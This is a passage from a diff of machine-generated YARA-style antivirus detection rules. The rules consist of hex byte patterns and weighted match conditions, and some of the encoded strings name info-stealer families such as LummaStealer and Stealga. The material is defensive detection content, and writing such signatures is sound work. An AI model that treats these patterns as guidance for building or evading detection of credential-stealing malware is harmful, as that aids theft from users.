1)*28530+(#a_32_46 & 1)*25655+(#a_6e_47 & 1)*12131+(#a_30_48 & 1)*13617+(#a_61_49 & 1)*25390+(#a_6f_50 & 1)*12033+(#a_31_51 & 1)*13869+(#a_2e_52 & 1)*11824+(#a_31_53 & 1)*12341+(#a_72_54 & 1)*11896+(#a_30_55 & 1)*12641+(#a_64_56 & 1)*26927+(#a_2f_57 & 1)*12592+(#a_72_58 & 1)*335+(#a_35_59 & 1)*24930+(#a_63_60 & 1)*29487+(#a_31_61 & 1)*12333+(#a_66_62 & 1)*11631+(#a_78_63 & 1)*25710+(#a_63_64 & 1)*28008+(#a_73_65 & 1)*26469+(#a_62_66 & 1)*12850+(#a_01_67 & 1)*1+(#a_01_68 & 1)*1+(#a_01_69 & 1)*1+(#a_01_70 & 1)*1+(#a_01_71 & 1)*1+(#a_01_72 & 1)*1+(#a_01_73 & 1)*1+(#a_01_74 & 1)*1+(#a_01_75 & 1)*1+(#a_01_76 & 1)*1+(#a_01_77 & 1)*1+(#a_01_78 & 1)*1+(#a_01_79 & 1)*1+(#a_01_80 & 1)*1+(#a_01_81 & 1)*1+(#a_01_82 & 1)*1+(#a_01_83 & 1)*1+(#a_01_84 & 1)*1+(#a_01_85 & 1)*1+(#a_01_86 & 1)*1+(#a_01_87 & 1)*1+(#a_01_88 & 1)*1+(#a_01_89 & 1)*1+(#a_01_90 & 1)*1+(#a_01_91 & 1)*1+(#a_01_92 & 1)*1+(#a_01_93 & 1)*1+(#a_01_94 & 1)*1+(#a_01_95 & 1)*1+(#a_01_96 & 1)*1+(#a_89_97 & 1)*0+(#a_01_98 & 1)*1+(#a_01_99 & 1)*1+(#a_01_100 & 1)*1+(#a_01_101 & 1)*1+(#a_01_102 & 1)*1+(#a_01_103 & 1)*1+(#a_01_104 & 1)*1+(#a_01_105 & 1)*1+(#a_01_106 & 1)*1+(#a_01_107 & 1)*1+(#a_01_108 & 1)*1+(#a_01_109 & 1)*1+(#a_01_110 & 1)*1+(#a_01_111 & 1)*1+(#a_01_112 & 1)*1+(#a_01_113 & 1)*1+(#a_01_114 & 1)*1+(#a_01_115 & 1)*1+(#a_01_116 & 1)*1+(#a_01_117 & 1)*1+(#a_01_118 & 1)*1+(#a_01_119 & 1)*1+(#a_01_120 & 1)*1+(#a_01_121 & 1)*1+(#a_01_122 & 1)*1+(#a_01_123 & 1)*1+(#a_01_124 & 1)*1+(#a_01_125 & 1)*1+(#a_01_126 & 1)*1+(#a_01_127 & 1)*1+(#a_01_128 & 1)*1+(#a_01_129 & 1)*1+(#a_01_130 & 1)*1+(#a_01_131 & 1)*1+(#a_01_132 & 1)*1+(#a_01_133 & 1)*1+(#a_01_134 & 1)*1+(#a_01_135 & 1)*1+(#a_01_136 & 1)*1+(#a_01_137 & 1)*1+(#a_01_138 & 1)*1+(#a_01_139 & 1)*1+(#a_01_140 & 1)*1+(#a_01_141 & 1)*1+(#a_01_142 & 1)*1+(#a_01_143 & 1)*1+(#a_01_144 & 1)*1+(#a_01_145 & 1)*1+(#a_eb_146 & 1)*0+(#a_34_147 & 1)*384+(#a_2d_148 & 1)*14692+(#a_65_149 & 1)*13623+(#a_61_150 & 1)*13613+(#a_32_151 & 1)*14438+(#a_2d_152 & 1)*14691+(#a_39_153 & 1)*13924+(#a_39_154 & 1)*25399+(#a_2d_155 & 1)*14647+(#a_80_156 & 1)*1+(#a_80_157 & 1)*1+(#a_80_158 & 1)*1+(#a_80_159 & 1)*1+(#a_80_160 & 1)*1+(#a_80_161 & 1)*1+(#a_80_162 & 1)*1+(#a_80_163 & 1)*1+(#a_80_164 & 1)*1+(#a_80_165 & 1)*1+(#a_80_166 & 1)*1+(#a_80_167 & 1)*1+(#a_80_168 & 1)*1+(#a_80_169 & 1)*1+(#a_80_170 & 1)*1+(#a_80_171 & 1)*1+(#a_80_172 & 1)*1+(#a_80_173 & 1)*1+(#a_80_174 & 1)*1+(#a_80_175 & 1)*1+(#a_80_176 & 1)*1+(#a_80_177 & 1)*1) >=5 } -rule _InfrastructureShared_20598{ +rule _InfrastructureShared_21827{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR_EXT,37 00 37 00 37 00 21 " @@ -267867,7 +283492,7 @@ rule _InfrastructureShared_20598{ ((#a_46_0 & 1)*16675+(#a_69_1 & 1)*29541+(#a_74_2 & 1)*26983+(#a_63_3 & 1)*27746+(#a_73_4 & 1)*31090+(#a_6f_6 & 1)*29231+(#a_31_7 & 1)*13869+(#a_65_8 & 1)*25973+(#a_69_9 & 1)*29541+(#a_65_10 & 1)*12143+(#a_62_11 & 1)*12850+(#a_61_12 & 1)*25389+(#a_6f_13 & 1)*29281+(#a_73_14 & 1)*29793+(#a_32_15 & 1)*12134+(#a_74_16 & 1)*26983+(#a_31_17 & 1)*12333+(#a_66_18 & 1)*11631+(#a_64_19 & 1)*26927+(#a_38_20 & 1)*12589+(#a_31_21 & 1)*13869+(#a_00_22 & 1)*12334+(#a_6f_23 & 1)*12033+(#a_32_24 & 1)*25655+(#a_69_25 & 1)*25458+(#a_74_26 & 1)*28530+(#a_64_27 & 1)*12646+(#a_72_28 & 1)*11896+(#a_67_29 & 1)*25133+(#a_72_30 & 1)*28519+(#a_74_31 & 1)*25955+(#a_72_32 & 1)*29545+(#a_63_33 & 1)*26723+(#a_6f_34 & 1)*29281+(#a_2d_35 & 1)*26926+(#a_6f_36 & 1)*29231+(#a_2e_37 & 1)*25972+(#a_6f_38 & 1)*29281+(#a_31_39 & 1)*13869+(#a_00_40 & 1)*14638+(#a_6f_41 & 1)*12033+(#a_37_42 & 1)*26166+(#a_63_43 & 1)*29487+(#a_2f_44 & 1)*12592+(#a_32_45 & 1)*11825+(#a_62_46 & 1)*12850+(#a_6f_48 & 1)*29231+(#a_6e_49 & 1)*22364+(#a_6e_50 & 1)*26995+(#a_31_51 & 1)*12593+(#a_75_52 & 1)*23667+(#a_4d_53 & 1)*22272+(#a_6f_54 & 1)*28530) >=55 } -rule _InfrastructureShared_20599{ +rule _InfrastructureShared_21828{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR_EXT,01 00 01 00 31 00 21 " @@ -267925,7 +283550,7 @@ rule _InfrastructureShared_20599{ ((#a_54_0 & 1)*18467+(#a_31_1 & 1)*12589+(#a_69_2 & 1)*29285+(#a_2d_3 & 1)*12593+(#a_72_4 & 1)*30019+(#a_7b_5 & 1)*25701+(#a_31_6 & 1)*12593+(#a_43_7 & 1)*29559+(#a_74_8 & 1)*25970+(#a_5c_9 & 1)*25974+(#a_31_10 & 1)*12593+(#a_56_11 & 1)*28261+(#a_31_12 & 1)*12593+(#a_43_13 & 1)*29559+(#a_74_14 & 1)*25970+(#a_5c_15 & 1)*25974+(#a_31_16 & 1)*12593+(#a_56_17 & 1)*28261+(#a_31_18 & 1)*12593+(#a_43_19 & 1)*29559+(#a_74_20 & 1)*25970+(#a_5c_21 & 1)*25974+(#a_31_22 & 1)*12593+(#a_56_23 & 1)*28261+(#a_31_24 & 1)*12593+(#a_43_25 & 1)*29559+(#a_74_26 & 1)*25970+(#a_5c_27 & 1)*25974+(#a_31_28 & 1)*12593+(#a_56_29 & 1)*28261+(#a_31_30 & 1)*12593+(#a_43_31 & 1)*29559+(#a_74_32 & 1)*25970+(#a_5c_33 & 1)*25974+(#a_31_34 & 1)*12593+(#a_56_35 & 1)*28261+(#a_31_36 & 1)*12593+(#a_43_37 & 1)*29559+(#a_74_38 & 1)*25970+(#a_5c_39 & 1)*25974+(#a_31_40 & 1)*12593+(#a_56_41 & 1)*28261+(#a_31_42 & 1)*12593+(#a_43_43 & 1)*29559+(#a_74_44 & 1)*25970+(#a_5c_45 & 1)*25974+(#a_31_46 & 1)*12593+(#a_56_47 & 1)*28261+(#a_31_48 & 1)*12593) >=1 } -rule _InfrastructureShared_20600{ +rule _InfrastructureShared_21829{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR_EXT,01 00 01 00 6f 00 21 " @@ -268045,7 +283670,7 @@ rule _InfrastructureShared_20600{ ((#a_46_0 & 1)*16675+(#a_33_1 & 1)*25133+(#a_38_2 & 1)*12902+(#a_2d_3 & 1)*12595+(#a_33_4 & 1)*26213+(#a_66_5 & 1)*11568+(#a_39_6 & 1)*25392+(#a_2d_7 & 1)*13923+(#a_62_8 & 1)*13622+(#a_36_9 & 1)*26162+(#a_39_10 & 1)*24885+(#a_31_11 & 1)*13881+(#a_38_12 & 1)*13369+(#a_2d_13 & 1)*13877+(#a_01_14 & 1)*25186+(#a_2d_15 & 1)*25392+(#a_80_16 & 1)*1+(#a_80_17 & 1)*1+(#a_80_18 & 1)*1+(#a_80_19 & 1)*1+(#a_80_20 & 1)*1+(#a_80_21 & 1)*1+(#a_80_22 & 1)*1+(#a_80_23 & 1)*1+(#a_80_24 & 1)*1+(#a_80_25 & 1)*1+(#a_80_26 & 1)*1+(#a_80_27 & 1)*1+(#a_80_28 & 1)*1+(#a_80_29 & 1)*1+(#a_80_30 & 1)*1+(#a_80_31 & 1)*1+(#a_80_32 & 1)*1+(#a_80_33 & 1)*1+(#a_80_34 & 1)*1+(#a_80_35 & 1)*1+(#a_80_36 & 1)*1+(#a_80_37 & 1)*1+(#a_80_38 & 1)*1+(#a_80_39 & 1)*1+(#a_80_40 & 1)*1+(#a_80_41 & 1)*1+(#a_80_42 & 1)*1+(#a_80_43 & 1)*1+(#a_80_44 & 1)*1+(#a_80_45 & 1)*1+(#a_80_46 & 1)*1+(#a_80_47 & 1)*1+(#a_80_48 & 1)*1+(#a_80_49 & 1)*1+(#a_80_50 & 1)*1+(#a_80_51 & 1)*1+(#a_80_52 & 1)*1+(#a_80_53 & 1)*1+(#a_80_54 & 1)*1+(#a_80_55 & 1)*1+(#a_80_56 & 1)*1+(#a_80_57 & 1)*1+(#a_80_58 & 1)*1+(#a_80_59 & 1)*1+(#a_80_60 & 1)*1+(#a_80_61 & 1)*1+(#a_80_62 & 1)*1+(#a_80_63 & 1)*1+(#a_80_64 & 1)*1+(#a_80_65 & 1)*1+(#a_80_66 & 1)*1+(#a_80_67 & 1)*1+(#a_80_68 & 1)*1+(#a_80_69 & 1)*1+(#a_80_70 & 1)*1+(#a_80_71 & 1)*1+(#a_80_72 & 1)*1+(#a_80_73 & 1)*1+(#a_80_74 & 1)*1+(#a_80_75 & 1)*1+(#a_80_76 & 1)*1+(#a_80_77 & 1)*1+(#a_80_78 & 1)*1+(#a_80_79 & 1)*1+(#a_80_80 & 1)*1+(#a_80_81 & 1)*1+(#a_80_82 & 1)*1+(#a_80_83 & 1)*1+(#a_80_84 & 1)*1+(#a_80_85 & 1)*1+(#a_80_86 & 1)*1+(#a_80_87 & 1)*1+(#a_80_88 & 1)*1+(#a_80_89 & 1)*1+(#a_80_90 & 1)*1+(#a_80_91 & 1)*1+(#a_80_92 & 1)*1+(#a_80_93 & 1)*1+(#a_80_94 & 1)*1+(#a_80_95 & 1)*1+(#a_80_96 & 1)*1+(#a_80_97 & 1)*1+(#a_6a_98 & 1)*0+(#a_1d_99 & 1)*3089+(#a_6e_100 & 1)*288+(#a_91_101 & 1)*12154+(#a_da_102 & 1)*288+(#a_f9_103 & 1)*25802+(#a_38_104 & 1)*18978+(#a_ef_105 & 1)*-4750+(#a_01_106 & 1)*26064+(#a_bc_107 & 1)*8192+(#a_a7_108 & 1)*-20439+(#a_16_109 & 1)*24532+(#a_be_110 & 1)*-4181) >=1 } -rule _InfrastructureShared_20601{ +rule _InfrastructureShared_21830{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR_EXT,01 00 01 00 ffffff80 00 21 " @@ -268179,7 +283804,7 @@ rule _InfrastructureShared_20601{ ((#a_46_0 & 1)*16675+(#a_98_1 & 1)*-20937+(#a_d9_2 & 1)*-5371+(#a_5c_3 & 1)*630+(#a_9d_4 & 1)*29821+(#a_d8_5 & 1)*-20698+(#a_77_6 & 1)*-15210+(#a_83_7 & 1)*22104+(#a_00_8 & 1)*2386+(#a_dc_9 & 1)*29953+(#a_11_10 & 1)*14026+(#a_57_11 & 1)*17870+(#a_5b_12 & 1)*32208+(#a_3f_13 & 1)*-22557+(#a_69_14 & 1)*-2008+(#a_b8_15 & 1)*-1452+(#a_09_16 & 1)*20168+(#a_fb_17 & 1)*17976+(#a_91_19 & 1)*24913+(#a_4c_20 & 1)*-19118+(#a_59_21 & 1)*-15280+(#a_52_22 & 1)*-17838+(#a_94_23 & 1)*23083+(#a_58_24 & 1)*-17953+(#a_c7_25 & 1)*-4680+(#a_38_26 & 1)*29259+(#a_01_27 & 1)*1+(#a_01_28 & 1)*1+(#a_01_29 & 1)*1+(#a_01_30 & 1)*1+(#a_01_31 & 1)*1+(#a_01_32 & 1)*1+(#a_01_33 & 1)*1+(#a_03_34 & 1)*1+(#a_01_35 & 1)*1+(#a_01_36 & 1)*1+(#a_01_37 & 1)*1+(#a_01_38 & 1)*1+(#a_01_39 & 1)*1+(#a_01_40 & 1)*1+(#a_01_41 & 1)*1+(#a_01_42 & 1)*1+(#a_01_43 & 1)*1+(#a_03_44 & 1)*1+(#a_01_45 & 1)*1+(#a_03_46 & 1)*1+(#a_01_47 & 1)*1+(#a_01_48 & 1)*1+(#a_01_49 & 1)*1+(#a_01_50 & 1)*1+(#a_01_51 & 1)*1+(#a_01_52 & 1)*1+(#a_01_53 & 1)*1+(#a_01_54 & 1)*1+(#a_01_55 & 1)*1+(#a_03_56 & 1)*1+(#a_03_57 & 1)*1+(#a_01_58 & 1)*1+(#a_03_59 & 1)*1+(#a_01_60 & 1)*1+(#a_01_61 & 1)*1+(#a_01_62 & 1)*1+(#a_01_63 & 1)*1+(#a_01_64 & 1)*1+(#a_01_65 & 1)*1+(#a_03_66 & 1)*1+(#a_01_67 & 1)*1+(#a_01_68 & 1)*1+(#a_01_69 & 1)*1+(#a_01_70 & 1)*1+(#a_01_71 & 1)*1+(#a_03_72 & 1)*1+(#a_01_73 & 1)*1+(#a_01_74 & 1)*1+(#a_03_75 & 1)*1+(#a_01_76 & 1)*1+(#a_c9_77 & 1)*0+(#a_01_78 & 1)*9284+(#a_44_80 & 1)*3841+(#a_0f_81 & 1)*1280+(#a_01_82 & 1)*9284+(#a_95_83 & 1)*17590+(#a_0f_84 & 1)*1280+(#a_01_85 & 1)*9284+(#a_4c_87 & 1)*3841+(#a_0f_88 & 1)*1280+(#a_01_89 & 1)*9292+(#a_01_90 & 1)*1+(#a_01_91 & 1)*1+(#a_01_92 & 1)*1+(#a_01_93 & 1)*1+(#a_01_94 & 1)*1+(#a_01_95 & 1)*1+(#a_01_96 & 1)*1+(#a_01_97 & 1)*1+(#a_01_98 & 1)*1+(#a_01_99 & 1)*1+(#a_01_100 & 1)*1+(#a_01_101 & 1)*1+(#a_01_102 & 1)*1+(#a_01_103 & 1)*1+(#a_01_104 & 1)*1+(#a_01_105 & 1)*1+(#a_01_106 & 1)*1+(#a_01_107 & 1)*1+(#a_01_108 & 1)*1+(#a_01_109 & 1)*1+(#a_01_110 & 1)*1+(#a_01_111 & 1)*1+(#a_01_112 & 1)*1+(#a_01_113 & 1)*1+(#a_01_114 & 1)*1+(#a_01_115 & 1)*1+(#a_01_116 & 1)*1+(#a_01_117 & 1)*1+(#a_01_118 & 1)*1+(#a_01_119 & 1)*1+(#a_01_120 & 1)*1+(#a_01_121 & 1)*1+(#a_01_122 & 1)*1+(#a_01_123 & 1)*1+(#a_01_124 & 1)*1+(#a_01_125 & 1)*1+(#a_01_126 & 1)*1+(#a_01_127 & 1)*1) >=1 } -rule _InfrastructureShared_20602{ +rule _InfrastructureShared_21831{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR_EXT,01 00 01 00 2e 02 21 " @@ -268737,16 +284362,44 @@ rule _InfrastructureShared_20602{ $a_01_550 = {0f b6 7c 24 83 } //1 $a_01_551 = {0f b6 7c 24 82 } //1 $a_01_552 = {0f b6 7c 24 81 } //1 - $a_5f_553 = {00 01 00 01 00 30 00 21 23 48 53 54 52 3a 4c 75 6d 6d 61 53 74 65 61 6c 65 72 2e 44 53 4b 00 01 00 78 01 20 20 20 00 20 20 20 20 00 80 06 00 00 10 00 00 00 de 02 00 00 10 00 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 e0 2e 72 73 72 63 00 00 00 e0 01 00 00 00 90 06 00 00 02 00 00 00 ee 02 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 c0 2e 69 64 61 74 } //0 - $a_00_554 = {10 00 00 00 a0 06 00 00 02 00 00 00 f0 02 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 c0 01 } //8289 - $a_20_555 = {20 } //30720 - $a_20_556 = {00 80 05 00 00 10 00 00 00 90 02 00 00 10 00 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 e0 } //8192 - $a_72_557 = {00 00 00 b0 02 00 00 00 90 05 00 00 02 00 00 00 a0 02 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 c0 2e 69 64 61 74 61 20 20 00 10 00 00 00 a0 05 00 00 02 00 00 00 a2 02 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 c0 01 00 78 01 20 20 20 00 20 20 20 20 00 70 05 00 00 10 00 00 00 8a 02 00 00 10 00 00 00 00 00 00 00 00 00 00 00 00 00 00 } //29230 + $a_e8_553 = {00 01 00 01 00 2d 00 21 23 48 53 54 52 3a 53 74 65 61 6c 67 61 2e 44 53 4b 31 00 01 00 78 01 20 20 20 20 20 20 20 20 0d ba 04 00 00 10 00 00 00 b4 02 00 00 04 00 00 00 00 00 00 00 00 00 00 00 00 00 00 20 00 00 60 20 20 20 20 20 20 20 20 e1 1f 00 00 00 d0 04 00 00 10 00 00 00 b8 02 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 40 20 20 20 20 20 20 20 20 50 } //0 condition: - ((#a_54_0 & 1)*18467+(#a_01_1 & 1)*1+(#a_01_2 & 1)*1+(#a_01_3 & 1)*1+(#a_01_4 & 1)*1+(#a_01_5 & 1)*1+(#a_01_6 & 1)*1+(#a_01_7 & 1)*1+(#a_01_8 & 1)*1+(#a_01_9 & 1)*1+(#a_01_10 & 1)*1+(#a_01_11 & 1)*1+(#a_01_12 & 1)*1+(#a_01_13 & 1)*1+(#a_01_14 & 1)*1+(#a_01_15 & 1)*1+(#a_01_16 & 1)*1+(#a_01_17 & 1)*1+(#a_01_18 & 1)*1+(#a_01_19 & 1)*1+(#a_01_20 & 1)*1+(#a_01_21 & 1)*1+(#a_01_22 & 1)*1+(#a_01_23 & 1)*1+(#a_01_24 & 1)*1+(#a_01_25 & 1)*1+(#a_01_26 & 1)*1+(#a_01_27 & 1)*1+(#a_01_28 & 1)*1+(#a_01_29 & 1)*1+(#a_01_30 & 1)*1+(#a_01_31 & 1)*1+(#a_01_32 & 1)*1+(#a_01_33 & 1)*1+(#a_01_34 & 1)*1+(#a_01_35 & 1)*1+(#a_01_36 & 1)*1+(#a_01_37 & 1)*1+(#a_01_38 & 1)*1+(#a_01_39 & 1)*1+(#a_01_40 & 1)*1+(#a_01_41 & 1)*1+(#a_01_42 & 1)*1+(#a_01_43 & 1)*1+(#a_01_44 & 1)*1+(#a_01_45 & 1)*1+(#a_01_46 & 1)*1+(#a_01_47 & 1)*1+(#a_01_48 & 1)*1+(#a_01_49 & 1)*1+(#a_01_50 & 1)*1+(#a_01_51 & 1)*1+(#a_01_52 & 1)*1+(#a_01_53 & 1)*1+(#a_01_54 & 1)*1+(#a_01_55 & 1)*1+(#a_01_56 & 1)*1+(#a_01_57 & 1)*1+(#a_01_58 & 1)*1+(#a_01_59 & 1)*1+(#a_01_60 & 1)*1+(#a_01_61 & 1)*1+(#a_01_62 & 1)*1+(#a_01_63 & 1)*1+(#a_01_64 & 1)*1+(#a_01_65 & 1)*1+(#a_01_66 & 1)*1+(#a_01_67 & 1)*1+(#a_01_68 & 1)*1+(#a_01_69 & 1)*1+(#a_01_70 & 1)*1+(#a_01_71 & 1)*1+(#a_01_72 & 1)*1+(#a_01_73 & 1)*1+(#a_01_74 & 1)*1+(#a_01_75 & 1)*1+(#a_01_76 & 1)*1+(#a_01_77 & 1)*1+(#a_01_78 & 1)*1+(#a_01_79 & 1)*1+(#a_01_80 & 1)*1+(#a_01_81 & 1)*1+(#a_01_82 & 1)*1+(#a_01_83 & 1)*1+(#a_01_84 & 1)*1+(#a_01_85 & 1)*1+(#a_01_86 & 1)*1+(#a_01_87 & 1)*1+(#a_01_88 & 1)*1+(#a_01_89 & 1)*1+(#a_01_90 & 1)*1+(#a_01_91 & 1)*1+(#a_01_92 & 1)*1+(#a_01_93 & 1)*1+(#a_01_94 & 1)*1+(#a_01_95 & 1)*1+(#a_01_96 & 1)*1+(#a_01_97 & 1)*1+(#a_01_98 & 1)*1+(#a_01_99 & 1)*1+(#a_01_100 & 1)*1+(#a_01_101 & 1)*1+(#a_01_102 & 1)*1+(#a_01_103 & 1)*1+(#a_01_104 & 1)*1+(#a_01_105 & 1)*1+(#a_01_106 & 1)*1+(#a_01_107 & 1)*1+(#a_01_108 & 1)*1+(#a_01_109 & 1)*1+(#a_01_110 & 1)*1+(#a_01_111 & 1)*1+(#a_01_112 & 1)*1+(#a_01_113 & 1)*1+(#a_01_114 & 1)*1+(#a_01_115 & 1)*1+(#a_01_116 & 1)*1+(#a_01_117 & 1)*1+(#a_01_118 & 1)*1+(#a_01_119 & 1)*1+(#a_01_120 & 1)*1+(#a_01_121 & 1)*1+(#a_01_122 & 1)*1+(#a_01_123 & 1)*1+(#a_01_124 & 1)*1+(#a_01_125 & 1)*1+(#a_01_126 & 1)*1+(#a_01_127 & 1)*1+(#a_01_128 & 1)*1+(#a_01_129 & 1)*1+(#a_01_130 & 1)*1+(#a_01_131 & 1)*1+(#a_01_132 & 1)*1+(#a_01_133 & 1)*1+(#a_01_134 & 1)*1+(#a_01_135 & 1)*1+(#a_01_136 & 1)*1+(#a_01_137 & 1)*1+(#a_01_138 & 1)*1+(#a_01_139 & 1)*1+(#a_01_140 & 1)*1+(#a_01_141 & 1)*1+(#a_01_142 & 1)*1+(#a_01_143 & 1)*1+(#a_01_144 & 1)*1+(#a_01_145 & 1)*1+(#a_01_146 & 1)*1+(#a_01_147 & 1)*1+(#a_01_148 & 1)*1+(#a_01_149 & 1)*1+(#a_01_150 & 1)*1+(#a_01_151 & 1)*1+(#a_01_152 & 1)*1+(#a_01_153 & 1)*1+(#a_01_154 & 1)*1+(#a_01_155 & 1)*1+(#a_01_156 & 1)*1+(#a_01_157 & 1)*1+(#a_01_158 & 1)*1+(#a_01_159 & 1)*1+(#a_01_160 & 1)*1+(#a_01_161 & 1)*1+(#a_01_162 & 1)*1+(#a_01_163 & 1)*1+(#a_01_164 & 1)*1+(#a_01_165 & 1)*1+(#a_01_166 & 1)*1+(#a_01_167 & 1)*1+(#a_01_168 & 1)*1+(#a_01_169 & 1)*1+(#a_01_170 & 1)*1+(#a_01_171 & 1)*1+(#a_01_172 & 1)*1+(#a_01_173 & 1)*1+(#a_01_174 & 1)*1+(#a_01_175 & 1)*1+(#a_01_176 & 1)*1+(#a_01_177 & 1)*1+(#a_01_178 & 1)*1+(#a_01_179 & 1)*1+(#a_01_180 & 1)*1+(#a_01_181 & 1)*1+(#a_01_182 & 1)*1+(#a_01_183 & 1)*1+(#a_01_184 & 1)*1+(#a_01_185 & 1)*1+(#a_01_186 & 1)*1+(#a_01_187 & 1)*1+(#a_01_188 & 1)*1+(#a_01_189 & 1)*1+(#a_01_190 & 1)*1+(#a_01_191 & 1)*1+(#a_01_192 & 1)*1+(#a_01_193 & 1)*1+(#a_01_194 & 1)*1+(#a_01_195 & 1)*1+(#a_01_196 & 1)*1+(#a_01_197 & 1)*1+(#a_01_198 & 1)*1+(#a_01_199 & 1)*1+(#a_01_200 & 1)*1+(#a_01_201 & 1)*1+(#a_01_202 & 1)*1+(#a_01_203 & 1)*1+(#a_01_204 & 1)*1+(#a_01_205 & 1)*1+(#a_01_206 & 1)*1+(#a_01_207 & 1)*1+(#a_01_208 & 1)*1+(#a_01_209 & 1)*1+(#a_01_210 & 1)*1+(#a_01_211 & 1)*1+(#a_01_212 & 1)*1+(#a_01_213 & 1)*1+(#a_01_214 & 1)*1+(#a_01_215 & 1)*1+(#a_01_216 & 1)*1+(#a_01_217 & 1)*1+(#a_01_218 & 1)*1+(#a_01_219 & 1)*1+(#a_01_220 & 1)*1+(#a_01_221 & 1)*1+(#a_01_222 & 1)*1+(#a_01_223 & 1)*1+(#a_01_224 & 1)*1+(#a_01_225 & 1)*1+(#a_01_226 & 1)*1+(#a_01_227 & 1)*1+(#a_01_228 & 1)*1+(#a_01_229 & 1)*1+(#a_01_230 & 1)*1+(#a_01_231 & 1)*1+(#a_01_232 & 1)*1+(#a_01_233 & 1)*1+(#a_01_234 & 1)*1+(#a_01_235 & 1)*1+(#a_01_236 & 1)*1+(#a_01_237 & 1)*1+(#a_01_238 & 1)*1+(#a_01_239 & 1)*1+(#a_01_240 & 1)*1+(#a_01_241 & 1)*1+(#a_01_242 & 1)*1+(#a_01_243 & 1)*1+(#a_01_244 & 1)*1+(#a_01_245 & 1)*1+(#a_01_246 & 1)*1+(#a_01_247 & 1)*1+(#a_01_248 & 1)*1+(#a_01_249 & 1)*1+(#a_01_250 & 1)*1+(#a_01_251 & 1)*1+(#a_01_252 & 1)*1+(#a_01_253 & 1)*1+(#a_01_254 & 1)*1+(#a_01_255 & 1)*1+(#a_01_256 & 1)*1+(#a_01_257 & 1)*1+(#a_01_258 & 1)*1+(#a_01_259 & 1)*1+(#a_01_260 & 1)*1+(#a_01_261 & 1)*1+(#a_01_262 & 1)*1+(#a_01_263 & 1)*1+(#a_01_264 & 1)*1+(#a_01_265 & 1)*1+(#a_01_266 & 1)*1+(#a_01_267 & 1)*1+(#a_01_268 & 1)*1+(#a_01_269 & 1)*1+(#a_01_270 & 1)*1+(#a_01_271 & 1)*1+(#a_01_272 & 1)*1+(#a_01_273 & 1)*1+(#a_01_274 & 1)*1+(#a_01_275 & 1)*1+(#a_01_276 & 1)*1+(#a_01_277 & 1)*1+(#a_01_278 & 1)*1+(#a_01_279 & 1)*1+(#a_01_280 & 1)*1+(#a_01_281 & 1)*1+(#a_01_282 & 1)*1+(#a_01_283 & 1)*1+(#a_01_284 & 1)*1+(#a_01_285 & 1)*1+(#a_01_286 & 1)*1+(#a_01_287 & 1)*1+(#a_01_288 & 1)*1+(#a_01_289 & 1)*1+(#a_01_290 & 1)*1+(#a_01_291 & 1)*1+(#a_01_292 & 1)*1+(#a_01_293 & 1)*1+(#a_01_294 & 1)*1+(#a_01_295 & 1)*1+(#a_01_296 & 1)*1+(#a_01_297 & 1)*1+(#a_01_298 & 1)*1+(#a_01_299 & 1)*1+(#a_01_300 & 1)*1+(#a_01_301 & 1)*1+(#a_01_302 & 1)*1+(#a_01_303 & 1)*1+(#a_01_304 & 1)*1+(#a_01_305 & 1)*1+(#a_01_306 & 1)*1+(#a_01_307 & 1)*1+(#a_01_308 & 1)*1+(#a_01_309 & 1)*1+(#a_01_310 & 1)*1+(#a_01_311 & 1)*1+(#a_01_312 & 1)*1+(#a_01_313 & 1)*1+(#a_01_314 & 1)*1+(#a_01_315 & 1)*1+(#a_01_316 & 1)*1+(#a_01_317 & 1)*1+(#a_01_318 & 1)*1+(#a_01_319 & 1)*1+(#a_01_320 & 1)*1+(#a_01_321 & 1)*1+(#a_01_322 & 1)*1+(#a_01_323 & 1)*1+(#a_01_324 & 1)*1+(#a_01_325 & 1)*1+(#a_01_326 & 1)*1+(#a_01_327 & 1)*1+(#a_01_328 & 1)*1+(#a_01_329 & 1)*1+(#a_01_330 & 1)*1+(#a_01_331 & 1)*1+(#a_01_332 & 1)*1+(#a_01_333 & 1)*1+(#a_01_334 & 1)*1+(#a_01_335 & 1)*1+(#a_01_336 & 1)*1+(#a_01_337 & 1)*1+(#a_01_338 & 1)*1+(#a_01_339 & 1)*1+(#a_01_340 & 1)*1+(#a_01_341 & 1)*1+(#a_01_342 & 1)*1+(#a_01_343 & 1)*1+(#a_01_344 & 1)*1+(#a_01_345 & 1)*1+(#a_01_346 & 1)*1+(#a_01_347 & 1)*1+(#a_01_348 & 1)*1+(#a_01_349 & 1)*1+(#a_01_350 & 1)*1+(#a_01_351 & 1)*1+(#a_01_352 & 1)*1+(#a_01_353 & 1)*1+(#a_01_354 & 1)*1+(#a_01_355 & 1)*1+(#a_01_356 & 1)*1+(#a_01_357 & 1)*1+(#a_01_358 & 1)*1+(#a_01_359 & 1)*1+(#a_01_360 & 1)*1+(#a_01_361 & 1)*1+(#a_01_362 & 1)*1+(#a_01_363 & 1)*1+(#a_01_364 & 1)*1+(#a_01_365 & 1)*1+(#a_01_366 & 1)*1+(#a_01_367 & 1)*1+(#a_01_368 & 1)*1+(#a_01_369 & 1)*1+(#a_01_370 & 1)*1+(#a_01_371 & 1)*1+(#a_01_372 & 1)*1+(#a_01_373 & 1)*1+(#a_01_374 & 1)*1+(#a_01_375 & 1)*1+(#a_01_376 & 1)*1+(#a_01_377 & 1)*1+(#a_01_378 & 1)*1+(#a_01_379 & 1)*1+(#a_01_380 & 1)*1+(#a_01_381 & 1)*1+(#a_01_382 & 1)*1+(#a_01_383 & 1)*1+(#a_01_384 & 1)*1+(#a_01_385 & 1)*1+(#a_01_386 & 1)*1+(#a_01_387 & 1)*1+(#a_01_388 & 1)*1+(#a_01_389 & 1)*1+(#a_01_390 & 1)*1+(#a_01_391 & 1)*1+(#a_01_392 & 1)*1+(#a_01_393 & 1)*1+(#a_01_394 & 1)*1+(#a_01_395 & 1)*1+(#a_01_396 & 1)*1+(#a_01_397 & 1)*1+(#a_01_398 & 